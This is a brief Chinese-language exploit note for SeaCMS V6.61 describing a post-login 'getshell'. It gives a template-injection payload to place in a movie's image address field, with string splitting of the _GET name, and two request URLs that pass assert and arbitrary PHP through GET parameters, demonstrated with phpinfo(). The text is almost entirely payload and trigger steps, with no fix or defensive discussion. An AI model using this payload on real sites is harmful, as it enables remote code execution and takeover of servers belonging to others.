Seacms V6.61 后台getshell¶

一、漏洞简介¶

首先登录到管理面板，在这种情况下，将admin目录调整为/backend

其次添加电影并将其图片地址设置为{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

添加访问后，/details/index.php?1.html&m=admin&a=assert&b=phpinfo();

这里的1.html是您刚刚添加的视频的ID。

或者，可以访问/search.php?searchtype=5&tid=0&a=assert&b=phpinfo();显示您刚添加的视频图片的任何其他地方。